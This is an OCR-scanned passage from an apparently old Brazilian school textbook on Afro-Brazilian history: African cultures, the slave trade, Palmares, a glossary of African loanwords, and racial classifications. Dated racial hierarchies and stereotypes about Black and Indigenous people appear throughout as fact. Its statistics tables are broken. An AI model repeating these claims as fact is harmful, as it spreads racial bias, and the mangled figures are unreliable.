científicos, muitas vezes, deformando os caracteres somáticos do negro, como
aparece em Debret, Ruoendas, Koster,
Kidder.

Trouxeram
ainda contribuições valiosas os trabalhos de
António Joaquim de Macedo Soares e
os dos grandes pioneiros dos estudos sociais entre nós, Sílvio Romero e João Ribeiro.

Fase Nina Rodrigues.
Com Nina Rodrigues alcançamos a
fase da elaboração metodológica científica que, embora sujeita à influência dos
postulados da época, hoje recusados, criou uma escola cujo representante
credenciado é o prof. Artur Ramos.

Dedicou-se
Raimundo de Nina Rodrigues às
pesquisas sobre o negro brasileiro até hoje consideradas básicas e essenciais
ao conhecimento dos problemas do negro.

3.ª
fase.
— A terceira fase
corresponde à justa reivindicação da obra
pioneira de Nina Rodrigues, depois
de completa interrupção destes
estudos, verificada em 1906.

Merece
um destaque especial que marca o início desta fase a contribuição do prof. Manuel Quirino na Bahia, que, pondo-se
de parte as deficiências do método científico, nos legou grande quantidade de
material obtido em suas pesquisas.

1926
é, no entanto, o marco inicial desta terceira Jase, balizada pelos
primeiros trabalhos científicos do prof. Artur
Ramos, retomando os estudos de Nina
Rodrigues. A ela pertencem, também, a reedição das obras de Nina Rodrigues por Homero Pires, a
realização dos congressos africanistas do Recife e da Bahia, a inclusão dos
estudos africanistas nos currículos universitários. Entre os grandes
especialistas modernos destacam-se Gilberto
Freire, Jaques Raimundo, Edison Carneiro,
Nelson de Sena, Renato de Mendonça, Marina de Vasconcelos.

As culturas negras africanas

Modernamente, não mais
se considera o negro como pertencendo a uma raça única nem vivendo dentro do
âmbito de uma cultura uniforme, falando a mesma língua. Há várias raças,
línguas e culturas negras diferentes na África e na Oceânia como o demonstram
sobejamente os trabalhos de Leo Frobenius, Herkovitz, Prince Mars, Nina-Rodrigues, Artur Ramos, Seligmann.

Para a América o
grande interesse se prende ao negro da África, continente do qual foi extraída
a totalidade dos escravos que aqui aportaram para a lavoura e mineração.

Exigindo um critério
científico para estudo do negro no Brasil, o
professor Nina Rodrigues propunha um método comparativo em que se estudassem as culturas originais na África e suas
sobrevivências no Brasil, método este seguido hoje pelos autores
americanos. Com interesse imediato aplicado ao caso brasileiro destacamos
sudaneses e bantos, os dois grupos de onde provêm os negros escravos do Brasil.

Bantos. — Os bantos distribuíam-se pela área do Congo que abrangia toda a bacia
daquele rio. Dedicavam-se à agricultura e apresentavam já pequenas
concentrações urbanas, ocupavam casas retangulares de teto em forma de sela. O
material de construção empregado era o barro, a madeira e a palha que formava a
cobertura. Foram notáveis na cerâmica e desenvolveram a chamada arte africana
com máscaras de barro ou madeira, objetos com motivos botânicos e zoológicos
estilizados. A vida religiosa apresentava-se complexa com o culto de Sambi,
culto
dos antepassados. Possuíam reis que dispunham de cortes luxuosas
sujeitas a minuciosa etiqueta.

Sudaneses. — Os sudaneses localizavam-se na área guineana constituindo as culturas

africanas mais típicas e também os tipos antropológicos mais puros.
Pertenciam a
família linguística sudanesa e não à banto, como seus vizinhos. Possuíam população de grande densidade.
Suas relações comerciais eram reguladas por estalões monetários bem próximos
das moedas. Ficaram famosos os bronzes de Benin, os trabalhos de cobre do
Daomei, a tecelagem dos Achantis, as esculturas de madeira da Costa do Marfim e
da Nigéria. Entre eles existiram grandes dinastias e impérios. Criaram uma
mitologia rica "aproximada das velhas concepções cosmogônicas óos povos
clássicos" (A. Ramos).

 

CULTURAS DO CONGO E DO SUDÃO E
SEUS REPRESENTANTES DO BRASIL

A — Culturas Sudanesas Ioruba
(ioruba-daomeiana Evês ou gege-nagô) . Fanti-achantis Haussás

B — Culturas SudanEsas Tapas (islamizadas,
males) Mandingas Fulás

C – Culturas bantos Angola-Conguense Moçambiques

Os bantos foram introduzidos em Pernambuco, de onde passaram a
Alagoas; no Rio de Janeiro, de onde se dispersaram depois para o Estado do Rio,
Minas Gerais e São Paulo; no Maranhão, de onde passaram para.o Pará e Amazonas.
Ao
grupo banto pertencem os angolas, congos ou cabindas, benguelas, e
negros originários de Moçambique.

Os
sudaneses foram introduzidos na Bahia e dali se irradiaram para outros pontos.
A eles pertencem os iorubas, também chamados nagos, os geges ou daomeianos, os
minas, os haussás, os tapas, os bornus e os gruncis ou guruncis.

Focos
iniciais de dispersão de sudaneses e
bantos no Brasil. (Segundo Artur Ramos.)

QUESTIONÁRIO REFLEXIVO

Quais os grandes estudiosos do negro no Brasil?

Qual o motivo de importância histórica
dos sudaneses e bantos?

Como poderemos caracterizar a cultura
banto? Quais os aspectos mais notáveis da cultura sudanesa? Qual a área de
influência dos dois grupos africanos no Brasil? A que grupo pertencem as
culturas angola-conguense, haussá, ioruba e moçambique?

Que sobrevivèncias
existem ainda da cultura ioruba no Brasil? Quais as culturas sudanesas-islamizadas
introduzidas no Brasil pelo tráfico?

 

Tráfico negreiro

Escravidão negra.
Detentores de técnicas agrícolas complexas, conhecedores da pecuária, da grande
agricultura, criadores da siderurgia, de organização social complexa,
pertencentes portanto a uma cultura superior à dos nossos indígenas, foram por
isto os negros africanos preferidos para os trabalhos de colonização.

É
difícil identificar suas origens tribais, dado a carência de documentos. Em sua
totalidade os existentes dão apenas procedência de mercado. Outra grande
dificuldade até hoje não sanada é a que se refere à data do início do tráfico
negreiro para o Brasil.

Tráfico.
— A maioria dos autores está
acorde em fixar a introdução dó africano no Brasil com regularidade a partir da
terceira década do século XVI.

Para
Portugal foram levados, como escravos, mouros aprisionados em 1441 por Antão
Gonçalves no rio do Ouro. De 1450 a 1550 entravam anualmente em Lisboa cerca de
800, número que subiu em 1530 (fim da era pré-colonial no Brasil) para 12.000
(cf. Perdigão Malheiros).

No Brasil, em 1538, documentadamente foram introduzidos escravos da
Guiné por José Lopes Bixorda. Autores há, como Nelson de Sena e AfrÂnio

Peixoto, que apontam 1531 e 1535 respectivamente como as datas que
assinalam o início do tráfico negreiro para o Brasil. Marfim Afonso em 1531
encontrou negros escravos na Bahia. Salientam os nossos cronistas que desde o
início das ativi-dades canavieiras eram encontrados negros nos engenhos e
canaviais.

Merecem referência especial as opiniões de Capistrano fazendo coincidir o início do tráfico com a criação
das capitanias; de Pedro Calmon que
o situa em 1548 ou 1549; e de R. Simonsen
em 1535.

Procediam dos mercados africanos de Guiné, Congo, S. Tomé, Costa da
Mina e mais tarde de Angola e Moçambique em navios negreiros dizimados na
viagem pelos maus tratos e doenças. Nos
séculos XVII e
XVIII aumentou sensivelmente a introdução das "peças"
empregadas na lavoura canavieira de Pernambuco, para as fazendas do Recôncavo
baiano, para a mineração da região diamantina, para a lavoura algodoeira do
Maranhão, para as zonas de mineração de Minas Gerais, de onde passaram a Goiás
e Mato Grosso.

1. Ex-escravo estoque banto de tipo
de segunda geração
(Foto   A.   Ramos.)
2. banto
provável mestiçagem amitica
da ilha de Maramtuua. (Foto A. Ramos.)         

(Reproduzido do livro "Introdução à Antropologia
Brasileira", de Artur Ramos.)

Aceitando
o depoimento de Anchieta, já em
1583 eram 14 000 os negros originários do Congo e da Guiné assim distribuídos:
10 000 em Pernambuco; 3 000 na Bahia; e ô restante no Rio de Janeiro e outras
capitanias.

No século XVII, durante o domínio holandês, a "Cia. das
índias Ocidentais" introduziu mais de 21 000 escravos em Pernambuco,
Alagoas e Paraíba do Norte, entre 1636 e 1645.

Ao findar o século XVIII
(1789), segundo a estimativa do
Dr. F. P. Santa Apolónia, citado por A. Ramos,

para uma população de
3 250 000 habitantes havia 406 000 negros libertos e 1 582 000 escravos, dos
quais 1 361 000 de negros e 221 000 de pardos.

Segundo as estatísticas apresentadas pelo conselheiro Veloso de
Oliveira, citado por Calógeras, apresentamos
o quadro de distribuição pelas províncias.

 

PROVÍNCIAS

NÚMERO DE ESCRAVOS

Rio de Janeiro e Corte . .
Outras províncias ……

168
545 147 263 146 000 97 633 77 667 55 439. 50 000

A lei n.° 3
270, de 28 de setembro de 1885, oficializou a seguinte estatística:

 

 

PROVÍNCIAS

ESCRAVOS

LIBERTOS

 

191 952

162 421

107 329

76 838

41 122

33 446

16 875

15 269

10 535

108

10 000

4
121

9
496

2
553

1
001

259

452

204

202

26

Outras províncias ….

 

 

QUESTIONÁRIO REFLEXIVO

1  
— Quando se teria iniciado o tráfico negreiro para
o Brasil?

2  
— Que dificuldades
prejudicaram a solução deste problema?

3  
— Quais os mercados de procedência das
"peças" aqui chegadas?

4  
— Quais os grandes mercados negreiros do Brasil?

5  
— Qual a estatística aproximada do elemento servil
no século XVIII?

6 — Quais os
aspectos gerais dos problemas do negro brasileiro?

Movimentos contra – aculturativos

Ao se estudar o negro
africano na colonização portuguesa do Brasil e no Império é preciso ter sempre
presente a violenta pulverização de sua personalidade
aviltada pela escravidão com todos os processos técnicos de deformação ligados
àquela posição social. Os motivos de interiorização de que foi acusado prendem-se grandemente à sua condição de
escravo. Os negros africanos e seus descendentes, que obtiveram condições higiénicas compatíveis com a sua personalidade humana, educação, instrução e as
mesmas oportunidades sociais que os brancos, forneceram à História do
Brasil um grande contingente de artistas, poetas, literatos, militares, eclesiásticos e cientistas de renome universal.

A maioria dos
cientistas modernos e a antropologia brasileira combatem a ideia falsa de que o
negro foi sempre um agente passivo, incapaz de uma reação libertadora. Em nossa
história colonial registram-se numerosos movimentos
neste sentido e que em técnica antropológica se denominam movimentos contra-aculturativos,
exemplificados com a formação dos quilombos, redutos de escravos foragidos do cativeiro, organizados politicamente
segundo suas tradições africanas.

Palmares. — O mais importante foi o de Palmares, localizado na Serra da Barriga,
em Alagoas, e que data da época do domínio holandês no Brasil, denominado por
Oliveira Martins a "Tróia Negra", dado os lances épicos com que seus
habitantes resistiram às tropas regulares encarregadas de submetê-los ou
destruí-los.

Com o abandono das cidades,
povoados e engenhos provocado pela invasão holandesa, negros escravos retiraram-se
para o interior, livres de seus senhores. Reuniram–se na serra da Barriga onde
se protegeram atrás de várias linhas de fortificações, palíssadas,
organizando-se em confederação. Elegeram um chefe, o Zambi, que restaurou
em

Palmares toda a
complexidade das cortes africanas, com seu cerimonial de altos dignitários e
conselhos. Habitava a mussambra (palácio). Não tardou que a eles se
reunissem escravos foragidos de toda parte. Diante da ameaça dos quilombolas de
Palmares que passaram a atacar os povoados vizinhos de Porto Calvo, Penedo e Serinhâéin,
ò
governo tratou logo de enviar expedições contra eles. As primeiras
malograram completamente. . O ataque do sar-gento-mor Manuel Lopes Galveiro, em
1677, trouxe como resultado apenas 45 prisioneiros, após mais de 5 meses de
luta. A expedição de Fernão Cavelho não obteve também qualquer resultado
compensador.

Após porfiada luta (em que foram atacados até por forças de
artilharia), o sertanista Domingos Jorge Velho, a chamado do governo de
Pernambuco, conseguiu em 1694 a rendição da praça. Os negros cobraram caro aos
assaltantes a vitória e só se renderam quando lhes escassearam todos os
recursos.

QUESTIONÁRIO
REFLEXIVO

1 — Que se denomina movimento
contra-aculturativo em técnica antropológica?

2   — Que exemplos históricos existem destes movimentos
entre nós?

3   — Que era — quilombo?

4   — A posição social do negro influiu na formação
de sua personalidade e no seu
comportamento? Por quê?

5   — Qual a origem dos Palmares?

6   — Comente a expressão de Oliveira Martins:
"Palmares foi uma Tróia Negra e sua história uma Ilíada".

7 — Por que devemos enquadrar o episódio de Palmares
entre os movimentos contra-aculturativos?

8 — Qual o fim da chamada "República dos
Palmares"?

A influência africana no Brasil

Em
nossa vida colonial o escravo negro foi o grande esteio económico da lavoura e
da mineração. Para o cronista o escravo era "o pê e as mãos do
Brasil".

Além da mestiçagem frequente, que estudaremos no capítulo seguinte,
legaram-nos a música, técnicas culinárias e um extenso vocabulário hoje
definitivamente incorporado aos dicionários brasileiros da língua
portuguesa.

Foi considerável a influência religiosa e algumas formas de trabalho
coletivo, como o "mutirão", tão praticado no "hinterland"
brasileiro.

Vestuários
típicos de origem sudanesa ainda são encontrados nas baianas: panos da Costa,
torsos, chinelas. Instrumental africano figura hoje no "jazz", de
aceitação universal. Lendas folclóricas, reisados e congadas podem ser ainda
hoje observados no Brasil.

Estudando
sua influência social, escreve o Prof. Jôna-tas
Serrano:

"Herdamos dos negros a sua afetividade, as crendices, as
superstições, o amor pela música e pela dança, uma certa "negligência
creoula", uma resignação heróica para suportar a miséria, uma concepção um
pouco fatalista c quiçá leviana da vida, sem grandes preocupações do futuro, o
hábito do trabalho, sem amor mas também sem revolta e, enfim, a melancolia
impressa mais na música e na poesia do que no estado de alma habitual do
povo".

VOCÁBULOS DE ORIGEM AFRICANA
DE USO MAIS FREQUENTE NA LÍNGUA PORTUGUESA DO BRASIL

(Transcritos do livro A influência africana
no português do Brasil,
de Renato
Mendonça)

  • Acará, s. m. Bolo de feijão
    cozido, fritos um azeite-de-dendê com pimenta, malagueta, Acarajé, s. m. O mesmo que acará.
  • Agogô
    s. m. Instrumento de dupla campânula.
  • Alufá, í. m. Sacerdote dos negros
    maometanos.
  • Angu, s.
    m.
    Massa feita d. fubá de
    milho ou mandioca.
  • Arará, s. m. Bolo de feijão
    preto frito em azeite.
  • Atabaque, s. m. Tambor oriental.
  • Babalaó, s. m. Sacerdote graduado na feitiçaria negra.
  • Babalorixá . s. m. "Pai do santo".
  • Banque, s. m. I) engenho de açúcar do
    tempo colonial; II) ladrilho de tachas nestes engenhos: III) a fornalha de. objetos de. cozimento do caldo; IV) trançado
    de cipos para carregar .bagaço; V)
    cadeirinha antiga de traçado
    animal; VI) padiola de conduzir cadáveres.
  • Banguela, s. m. Nome de um povo negro embarcado em Benguela’. Há também a forma bmguela,
  • Banguela, adj. Pessoa
    sem os dentes da frente.
  • Banto, Tormo
    aplicado às’ línguas africanas dos grupos central e sul.
  • Banzé, s. m. Barulho, vozeria.
  • Banzeiro. adj. Pensativo, muito
    triste e sem motivo.
  • Batucajé, s. m. Conforme me diz em carta Xavier Marques, é a dança do candomblé, acompanhada de vozeiro infernal.
  • Batuque, s.
    m Dança com sapateados c palmas.
  • Bengala, s. f. Bastão pequeno.
  • Birimbau, s. m. Instrumento músico.
  • Bobó, s. tn. Sopa de inhame.
  • Bombo, h. m. Tambor grande.
  • Bugio, . s. m. Macaco, mono.
  • Caborje, s. m. Feitiço.
  • Cachaça, s. f. Aguardente.
  • Cachimbo, s m. tubo para fumar
    terminado numa espécie de concha; II) jazida de manganês; III) porção de terra em forma de prisma destacada de, uma barranca vertical
    por dois talhos laterais.
  • Cacimba, s. f. Poço artificial ou escavação para atingir lençóis d’água subterrâneos.
  • Caçula, s. m. O filho mais moço.
  • Capua, s. f. Quarto de prisão para alunos nos colégios.
  • Cafuné, s. m. Estalidos com o polegar no alto da cabeça.
  • Calombo, s. m. Inchação que àa
    vezes origina tumor.
  • Calundu, s. m. Mau
    humor, aborrecimento.
  • Calunga, s. m. Boneco.
  • Cambada, s. f. Corja, súcia.
  • Camundongo, s. m. Rato pequeno.
  • Candomblé, s. m. Primitivamente
    era um baile africano e, em seguida, suas práticas religiosas.
  • Candonga, s. f. I)
    benzinho; II) barulho,
    intrica.
  • Canoa, s. f. Trave de madeira adaptada ao pescoço dos animais e usada nos carros de
    boi.
  • Canjica, s. f. Papa de milho verde.
  • Carcunda, s. f. Giba, corcova.
  • Careca, adj. Calvo.
  • Caruru, s.
    m. Guisado peculiar a culinária baiana.
  • Catinga, s..f, Mau cheiro. –
  • Caxambu, s. m. É um tambor,
    depois á dança, depois o morro em forma de tambor.
  • Caxinouele, s. .m.. Nome de animal.
  • Caxumba, s. f. Inflamação das parótidas.
  • Chafariz, s. f. Bebedouro público.
  • Chuchu, s. f. Planta cueurbitáeca.
  • Cochilar, s. f. Cabecear com sono.
  • Congada, s. f. Dança dos congos.
  • Cubata, s. f Choupana, morada
    dos pretos na Africa.
  • Dendê, s. m. Nome africano de uma palmeira do Congo e da Guiné, introduzida
    no Brasil desde o século XVII. E’ muito abundante na Bahia e regiões do São
    Francisco.
  • Dengue, s. m. Choradeira de criança, manha.
  • Empate, s. m. Embaraço,
    igualdade de situação.
  • Fubá, s. m. Farinha de milho ou de arroz.
  • Gambá, s m. Marsúpio, comum no Distrito Federal.
  • Gongolô,
    s. m.
    Centopeia, miriapodo. 
  • Inhame, s. m. Nome do um tubérculo comido sob a forma de farinha, planta aaparagínea.
  • Jiló, s. m. Fruta do jiloeiro,
    planta dn. família das Solanápoas.
  • Lundu, s.m. Dança dos negros africanos.
  • Macambúzio, adj. Tristonho,
    sorumbático.
  • Macumba, s. f. Feitiçaria, candomblé.
  • Mandinga, s.f. Feitiço,
    talismã para "fechar"
    o corpo.
  • Manipanço, s. m. Ídolo.
  • Marabu, s. m. Sacerdote, dos
    malôs. O mesmo que alufá.
  • Maracatu, s. m. Dança
    dos africanos.
  • Mabemba, s. f. Espécie de tambor.
  • Marimbai;,
    s. m. O mesmo que birimbau.
  • Marimbondo, s. m. Inseto, vespa.
  • Matongo, s. m. Cavalo
    velho, inútil.
  • Maxixe, s. m.
    Fruto de uma cucurbitalcea.
  • Miçanga,
    s. f. Contas de vidro, jóias de pouco valor.
  • Minhoca, s. f. Verme anelídeo.
  • Mocambo, s.. m. Esconderijo,
    refúgio dos escravos fugidos.
  • Mocotó, s. m. Mão de vaca.
  • Moleque, s. m. Menino,
    rapazote entre os negros.
  • Muamba, s. f. Negócio
    ilícito, velhacaria.
  • Mucama, s. I. Escrava predileta que servia a senhora
  • Mulameo, s. m. Trapo, roupa esfarrapada.
  • Mulunqu, s. m. Arvore
    leguminosa.
  • Mungunzà, s. m.
    Massa de milho cozido. Faz parte da culinária africana.
  • Murundu, s. m. Morrete
    ou monte,montículo de coisas, de roupas, depedras.
  • Mutamba, s. f Nome comum de uma planta no Brasil.
    Muxiba, s. f. Carne
    magra, pelanca.Por extensão, coisa
    ruim.
  • Muxoxo, s. m. Sinal
    de agastamento, enfado: som produzido com a língua aderida aos dentes.
  • Obá, s. m. Príncipe entre os negros.
  • Obi, s. m.
    Noz de cola, pequeno fruto originário da África e presente em todas as
    cerimónias feitichistas.
  • Ogun, s.
    m.
    Deus da guerra na
    feitiçaria nagô.
  • Olorum, s. m. Deus supremo, abstrato cuja objetivação é o céu, o
    firmamento na mítica africana.
  • Orixá, s. m. Santa, divindade da feitiçaria.
  • Orobó,s. m. Fruto semelhante ao obi e cuja mastigação torna fatal a
    praga que se diz.
  • Patuá, s. m. Saco de couro que se
    leva a tiracolo.
  • Picumã, s. m. Fuligem.
  • Puíta, s.
    f. Tambor dos negros, de forma cilíndrica.
  • Quiabo, s. m. Fruto do quiabeiro,
    planta da família das Malváccas, género Hibiseus.
  • Quibebe, s. m. Iguaria de abóbora reduzida a consistência de. papa.
  • Quilombo. s. m. Povoação
    fortificada dos negros fugidos ao cativeiro.
  • QUINGOMBÔ, s. m. Sinónimo, de quiabo.
  • Quitanda, s. f. Venda
    de verduras, frutas e outros vegetais comestíveis.
  • Quitute, s. m. Iguaria de apurado sabor.
  • Saçuê, s. /. Galinha-d’angola.
  • Samba, s. m..
    Dança dos negros. Hoje é termobem vivo no sentido de composição musical.
  • Senzala, s. f. Alojamento dos negros nas fazendas.
  • Sinuá, s. j. Forma popular de senhora, criada pelos negros sobre o masculino sinhô.
  • Soba, s. m. Régulo africano.
  • Sunqar, i’. t. Puxar para cima.
  • Tutu, s. m. I) Fantasma com quo se faz medo às crianças,
    "papão"; II) indivíduo valentão, maior mandão; III) comida comum ã maior parte do Brasil, feita com feijão preto, e farinha
    de mandioca.
  • Vatapá, s. m. "O vatapá, espécio de puré ou quase pasta, preparado com o pó de
    arroz ou outra farinha, a que incorporam camarão pisado, ou galinha, carne ou
    peixe, tudo banhado cm alta dose de azeite-dc-dendG e fortemente
    apimentado." (Nina Rodrigues, 1932, pág. 181).
  • Xiba, s. f. Dança, samba.
  • Xingar, v. int. Injuriar, ofender.
  • Zabumba, s. m. Bombo.
  • Zambi, s. m. Chefe de quilombo.
  • Zambo, adj.
    O quo é filho de preto e
    índio. Tem a pele escura cos cabelos lisos. Também se diz cafuso.

QUESTIONÁRIO REFLEXIVO

  • Critique a frase: "o escravo é o pé e as mãos do
    Brasil".
  • De que modo os africanos influíram na formação
    brasileira?
  • Quais as sobrcvivèncias africanas
    existentes em maior ou menor grau na vida brasileira?
  • Assinale no vocabulário da pág. 126 a palavra
    de uso popular mais frequente em seu município ou em sua cidade.

 

4. A etnia brasileira

O vocábulo etnia foi proposto por Félix Regnault no Congresso de Amsterdam, 1925, para
substituir o termo raça empregado impropriamente para designar grupos
políticos de nacionalidades. Hoje é condenada em ciência a expressão raça
inglesa, raça alemã, raça francesa,
etc, porque reconhecidamente entre eles
há representantes de várias raças. A expressão correta é etnia inglesa,
etnia alemã, etnia francesa.

A
etnia brasileira- formou-se
do contacto de três raças: a caucasóide, representada pela etnia portuguesa
para aqui transplantada; a negróide, originária do continente africano; a
mongolóide aqui encontrada pelos descobridores e colonizadores.

Em
grau maior ou menor a população brasileira é mestiçada de sangue indígena ou
sangue negro ou dos dois, como é frequente, dado o contacto permanente em que
estiveram em várias gerações dos nossos 447 anos de História. Esta é a opinião
de Sílvio Romero, Nina Rodrigues, Artur Ramos, Gilberto Freire, Roquete
Pinto, para citarmos apenas alguns especialistas.

Nina Rodrigues assim dividiu a população
miscigenada brasileira:

  • 1.°)
    Mulatos — produto do cruzamento do branco com o negro, grupo muito
    numeroso, constituindo quase toda a população de certas regiões do país e
    divisível em:

a)       
mulatos dos primeiros
sangues;

b)       
mulatos claros, de
retorno à raça branca e que ameaçam absorvê-la de todo;

c)        
mulatos escuros,
cabras, produtos de retorno à raça negra, uns quase completamente confundidos
com os negros crioulos, outros de mais fácil distinção.


2.°) Mamelucos ou Caboclos — produto do cruzamento do
branco com o índio, muito numerosos em certas regiões,
na Amazónia, por exemplo, onde também se podem admitir três grupos
diferentes. Na Bahia, basta dividi-los

Diagrama provisório
da formação da etnia brasileira.

Interpretação gráfica de
Eduardo Canabrava Barreiros, baseada nos trabalhos

de Nina Rodrigues sobre
miscigenação.)

em dois
grupos: dos "mamelucos" que se aproximam e se confundem com a raça
branca e dos verdadeiros "caboclos", mestiços dos primeiros sangues,
cada vez mais raros entre nós.

3.°)
Curibocas ou Cafusos— produto do cruzamento do negro com o índio.
Este mestiço é extremamente raro na população da capital da Bahia. Acredita Nina Rodrigues
que o mesmo é mais frequente
em alguns pontos desse Estado e muito frequente em certas regiões do país,
na Amazónia, por exemplo.

4.°)
Pardos — produto do cruzamento das três raças e proveniente
principalmente do mulato com o índio ou com os mamelucos caboclos. Este
mestiço, que no caso de uma mistura equivalente das três raças devia ser o
produto brasileiro por excelência, é muito mais numeroso do que realmente se supõe.

Roquete Pinto, tomando por base a côr. da pele, assim dividiu a população brasileira:

1.                    
Leucodermos— (brancos).

2.         
Faiodermos — (branco X negro; pele parda).

3.         
Xantodennos — (branco X índio; pele amarelada).

4.         
Meíanodermos — (negros).

Oliveira Viana propõe no quadro para a etnia brasileira os seguintes grupos:

Brancos
— brancos puros e mestiços
afro-caucasóides em reversão para o tipo branco.

Negros— negros puros è mestiços de negro, mulatos e
cafusos em reversão para o tipo negro.

Mulatos — mestiços
afro-caucasóides que pela pigmentação da pele não podem ser incorporados nem ao
grupo branco nem ao negro.

Caboclos — ameríndios puros e os mestiços mamelucos e cafusos em reversão para o
tipo ameríndio.

QUESTIONÁRIO REFLEXIVO

Que
significa a palavra etnia?.

Quais
os elementos formadores da etnia brasileira?

Verifique no seu dicionário, o significado da palavra
miscigenação.

Em que se* baseiam as classificações de etnia brasileira de Roquete
Pinto e Oliveira Viana? Descreva o diagrama da pág. 130.

Quais os grupos raciais de introdução mais recente que influenciaram a formação da etnia
brasileira?

 

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